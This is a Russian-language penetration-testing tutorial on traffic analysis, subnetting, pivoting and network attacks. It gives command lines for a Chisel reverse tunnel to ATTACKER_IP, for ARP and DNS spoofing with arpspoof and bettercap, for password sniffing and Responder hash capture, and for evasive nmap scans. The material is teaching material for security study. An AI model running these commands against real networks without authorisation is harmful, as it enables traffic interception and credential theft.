Ч.3: Практика — Wireshark, подсети, pivoting, атаки
🎯 Что это
Третья часть — практическое применение сетевых знаний в пентесте. Как анализировать трафик, как считать подсети, как двигаться по сети после первого взлома, и основные сетевые атаки.
📌 Wireshark — анализ трафика
Что это
Wireshark — графический анализатор сетевого трафика. Перехватывает все пакеты на интерфейсе и позволяет их изучать. Как рентген для сети — видишь всё, что происходит.
Аналогия: вскрываешь конверт и читаешь письмо. Wireshark позволяет "вскрыть" каждый сетевой пакет и увидеть что внутри.
Запуск и базовое использование
# Запуск с правами root (нужны для захвата)
sudo wireshark
# CLI-версия (для серверов без GUI)
sudo tshark -i eth0
Фильтры захвата (Capture Filters)
Устанавливаются до начала захвата — что перехватывать:
host ***.***.*.* # Трафик к/от конкретного IP
port 80 # Только порт 80
tcp port 443 # Только HTTPS
net 192.168.1.0/24 # Вся подсеть
not port 22 # Всё кроме SSH
Фильтры отображения (Display Filters)
Применяются к уже захваченному трафику — что показать:
ip.addr == ***.***.*.* # Трафик к/от IP
tcp.port == 80 # HTTP-трафик
http.request.method == "POST" # Только POST-запросы
dns # Только DNS
tcp.flags.syn == 1 # Только SYN-пакеты (начало соединений)
ftp # FTP-трафик (пароли открытым текстом!)
http.cookie # Запросы с куками
tcp.stream eq 5 # Конкретный TCP-поток
frame contains "password" # Пакеты содержащие слово "password"
Что искать в трафике
Пароли в открытом тексте:
- FTP (порт 21) — команды USER и PASS видны
- Telnet (порт 23) — всё видно посимвольно
- HTTP (порт 80) — POST-формы с логинами
- SMTP (порт 25) — аутентификация в Base64 (легко декодируется)
DNS-запросы:
- Показывают какие домены посещает пользователь
- Могут выявить DNS-туннели (подозрительно длинные поддомены)
TCP-рукопожатия:
- SYN → SYN-ACK → ACK = успешное соединение
- SYN → RST = порт закрыт
- SYN → [тишина] = порт filtered (файрвол)
tcpdump — CLI-альтернатива
# Перехват всего на интерфейсе
sudo tcpdump -i eth0
# Только HTTP
sudo tcpdump -i eth0 port 80
# Сохранить в файл (потом открыть в Wireshark)
sudo tcpdump -i eth0 -w capture.pcap
# Показать содержимое пакетов (ASCII)
sudo tcpdump -i eth0 -A port 80
# Только трафик к конкретному хосту
sudo tcpdump -i eth0 host ***.***.*.*
⚡ Подсети (Subnetting) — расчёт сетей
Зачем пентестеру
Когда ты попал во внутреннюю сеть — нужно понять какие подсети существуют, сколько хостов в каждой, где искать серверы, где рабочие станции.
Быстрый расчёт
Маска /24 = 255.255.255.0 = 256 адресов, 254 хоста.
Формула: количество хостов = 2^(32-маска) - 2 (минус адрес сети и broadcast).
- /24 → 2^8 - 2 = 254 хоста. Диапазон: .1 — .254
- /25 → 2^7 - 2 = 126 хостов. Два сегмента: .1-.126 и .129-.254
- /26 → 2^6 - 2 = 62 хоста. Четыре сегмента
- /27 → 2^5 - 2 = 30 хостов
- /28 → 2^4 - 2 = 14 хостов
- /29 → 2^3 - 2 = 6 хостов
- /30 → 2^2 - 2 = 2 хоста (point-to-point линки)
- /32 → 1 хост (конкретный адрес)
CIDR-нотация — шпаргалка
- 10.0.0.0/8 → 10.0.0.0 — 10.255.255.255 (16M хостов)
- 172.16.0.0/12 → 172.16.0.0 — 172.31.255.255 (1M хостов)
- 192.168.0.0/16 → 192.168.0.0 — 192.168.255.255 (65K хостов)
- 192.168.1.0/24 → 192.168.1.0 — 192.168.1.255 (254 хоста)
Типичная корпоративная структура
10.0.0.0/8 — вся корпоративная сеть
├── 10.1.0.0/16 — головной офис
│ ├── 10.1.1.0/24 — серверы
│ ├── 10.1.2.0/24 — рабочие станции
│ ├── 10.1.3.0/24 — Wi-Fi
│ └── 10.1.10.0/24 — DMZ (веб-серверы)
├── 10.2.0.0/16 — филиал Москва
└── 10.3.0.0/16 — филиал Питер
Для пентестера: попал в подсеть рабочих станций (10.1.2.0/24) → сканируешь → находишь путь в серверную подсеть (10.1.1.0/24) → там DC и базы данных.
🔍 Pivoting — движение по сети
Что это
Pivoting — использование скомпрометированного хоста как точки входа для доступа к другим частям сети, которые не видны напрямую.
Аналогия: проник в здание через окно первого этажа. Теперь используешь лестницы и коридоры внутри здания, чтобы добраться до серверной на пятом этаже.
Сценарий
Интернет → [Файрвол] → DMZ (10.1.10.0/24) → [Файрвол] → Внутренняя сеть (10.1.1.0/24)
1. Взломал веб-сервер в DMZ (10.1.10.5)
2. С веб-сервера видна внутренняя сеть 10.1.1.0/24
3. Через SSH-туннель с веб-сервера сканируешь внутреннюю сеть
4. Находишь DC на 10.1.1.10
5. Эксплуатируешь DC через туннель
Инструменты для pivoting
SSH-туннель (самый простой):
# Проброс порта: доступ к внутреннему серверу через скомпрометированный хост
ssh -L 3306:10.1.1.20:3306 user@10.1.10.5
# Теперь localhost:3306 → 10.1.1.20:3306 (MySQL во внутренней сети)
# SOCKS-прокси: весь трафик через скомпрометированный хост
ssh -D 1080 user@10.1.10.5
# Настраиваешь proxychains → весь трафик идёт через 10.1.10.5
# Настройка proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT 10.1.1.0/24
Meterpreter (через Metasploit):
# В Meterpreter-сессии
run autoroute -s 10.1.1.0/24 # Добавить маршрут во внутреннюю сеть
background # Свернуть сессию
# Теперь можно сканировать внутреннюю сеть через Metasploit
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.1.1.0/24
run
Chisel (HTTP-туннели через файрвол):
# На атакующей машине (сервер)
./chisel server -p 8000 --reverse
# На скомпрометированном хосте (клиент)
./chisel client ATTACKER_IP:8000 R:socks
# Создаёт SOCKS-прокси на атакующей машине
⚡ Основные сетевые атаки
Man-in-the-Middle (MitM)
Атакующий встаёт между двумя устройствами и перехватывает/модифицирует трафик.
Нормально: Клиент ←→ Сервер
MitM: Клиент ←→ Атакующий ←→ Сервер
Способы реализации:
- ARP-спуфинг (в локальной сети)
- DNS-спуфинг (подмена DNS-ответов)
- Rogue Wi-Fi (поддельная точка доступа)
- SSL-stripping (понижение HTTPS до HTTP)
Инструменты:
# ARP-спуфинг через arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward # Включить пересылку пакетов
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP # Притворяемся шлюзом для жертвы
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP # Притворяемся жертвой для шлюза
# Или через bettercap
bettercap -iface eth0
> net.probe on
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
DNS-спуфинг
Подмена DNS-ответов — жертва идёт на google.com, а попадает на твой сервер.
# Через bettercap
> set dns.spoof.domains target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on
Password Sniffing
Перехват паролей из незашифрованного трафика:
# Через tcpdump — FTP-пароли
sudo tcpdump -i eth0 port 21 -A | grep -i "USER\|PASS"
# Через Wireshark — фильтр
ftp.request.command == "PASS"
http.request.method == "POST"
LLMNR/NBT-NS Poisoning
В Windows-сетях, если DNS не может разрешить имя — запрос идёт по LLMNR (порт 5355) и NBT-NS (порт 137) в broadcast. Атакующий отвечает на эти запросы и получает NTLM-хеш.
# Responder — перехват хешей в Windows-сетях
sudo responder -I eth0 -dwv
# Результат: NTLM-хеши пользователей, которые можно взломать офлайн
Port Scanning Techniques — подробнее
# SYN-скан (полуоткрытый) — быстрый и тихий
sudo nmap -sS TARGET_IP
# Connect-скан (полный TCP) — без root, но шумный
nmap -sT TARGET_IP
# UDP-скан — медленный, но важный
sudo nmap -sU TARGET_IP
# FIN-скан — обход простых файрволов
sudo nmap -sF TARGET_IP
# XMAS-скан — все флаги установлены
sudo nmap -sX TARGET_IP
# NULL-скан — никаких флагов
sudo nmap -sN TARGET_IP
# Idle/Zombie скан — самый скрытный
sudo nmap -sI zombie_host TARGET_IP
# Скан с фрагментацией (обход IDS)
sudo nmap -f TARGET_IP
# Скан с decoy (маскировка среди фейковых IP)
sudo nmap -D RND:10 TARGET_IP
🛡 Модель безопасности сети
Defense in Depth (Эшелонированная защита)
Это то, что ты видел на Shodan — слои защиты:
Интернет
│
├── Периметральный файрвол (iptables, pfSense)
│ ├── DMZ (веб-серверы)
│ │ ├── WAF (Web Application Firewall)
│ │ ├── Reverse Proxy (Caddy, Nginx)
│ │ └── Веб-приложение
│ │
│ └── Внутренний файрвол
│ ├── Рабочие станции
│ │ ├── Антивирус/EDR
│ │ └── Групповые политики
│ │
│ ├── Серверы
│ │ ├── Сегментация (VLAN)
│ │ ├── Контроль доступа
│ │ └── Мониторинг (SIEM)
│ │
│ └── Domain Controller
│ ├── Отдельный VLAN
│ ├── Минимум сервисов
│ └── Аудит всех действий
Модель Zero Trust
Современный подход: не доверяй ничему, проверяй всё. Даже если устройство внутри сети — оно должно аутентифицироваться и авторизоваться для каждого действия. Tailscale у тебя — это по сути Zero Trust: каждое устройство аутентифицируется индивидуально.
🔧 Сетевая разведка — полный чеклист
Пассивная разведка (без взаимодействия с целью)
# WHOIS
whois target.com
whois TARGET_IP
# DNS
dig target.com ANY
dig target.com MX
dig target.com NS
# Shodan
# Поиск: ip:TARGET_IP или org:"Company Name"
# Google Dorks
# site:target.com filetype:pdf
# inurl:admin site:target.com
# SSL-сертификаты (crt.sh)
# https://crt.sh/?q=%.target.com — все выданные сертификаты = поддомены
# theHarvester — email и поддомены
theHarvester -d target.com -b all
Активная разведка (взаимодействие с целью)
# Обнаружение хостов
nmap -sn TARGET_NETWORK/24
# Полное сканирование
sudo nmap -sV -O -sC -p- -A TARGET_IP
# UDP-сканирование (топ-порты)
sudo nmap -sU --top-ports 100 TARGET_IP
# Скрипты уязвимостей
nmap --script vuln TARGET_IP
# Веб-сканирование
nikto -h http://TARGET_IP
dirb http://TARGET_IP
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt
# SMB-разведка
enum4linux -a TARGET_IP
smbclient -L //TARGET_IP -N
# SNMP
snmpwalk -v2c -c public TARGET_IP
🧠 Готовые комбо
Полная сетевая разведка цели:
whois → DNS → Shodan → crt.sh → theHarvester → nmap -sn (обнаружение) → nmap -sV -p- (сканирование) → nmap --script vuln (уязвимости)
MitM в локальной сети:
echo 1 > ip_forward → arpspoof (оба направления) → wireshark/tcpdump → перехват паролей → bettercap (DNS-спуфинг, SSL-strip)
Pivoting через скомпрометированный хост:
Первый шелл → ip a (узнать подсети) → ssh -D 1080 → proxychains nmap внутренняя_сеть → найти DC → эксплуатация через туннель
Анализ трафика:
Wireshark → фильтр ftp/http/telnet → поиск паролей → tcp.stream → восстановление файлов → dns → куда ходит жертва
⚠️ Важные моменты
- Wireshark видит только трафик на твоём сегменте. В коммутируемой сети (switch) ты не увидишь чужой трафик без ARP-спуфинга или зеркалирования порта
- HTTPS шифрует содержимое, но не скрывает адреса. В Wireshark ты увидишь куда идёт соединение (IP, порт, SNI в TLS), но не содержимое запроса
- Подсети — это сегментация. Разные подсети не видят друг друга напрямую — нужен маршрутизатор. Это основа корпоративной безопасности и причина, почему pivoting необходим
- Pivoting — ключевой навык. Реальные пентесты почти всегда требуют движения из DMZ во внутреннюю сеть через скомпрометированные хосты
- ARP-спуфинг работает только в одном сегменте. Через маршрутизатор не проходит — это атака локальной сети
- Responder в Windows-сетях — почти гарантированные хеши. LLMNR-отравление срабатывает потому что Windows по умолчанию отправляет эти запросы
- UDP-сканирование медленное, но важное. DNS, SNMP, DHCP, TFTP — критические сервисы на UDP. Не забывай про
-sU - Каждый скан оставляет следы. IDS/IPS логирует сканирование. В реальном пентесте — обсуди допустимый уровень "шума" с клиентом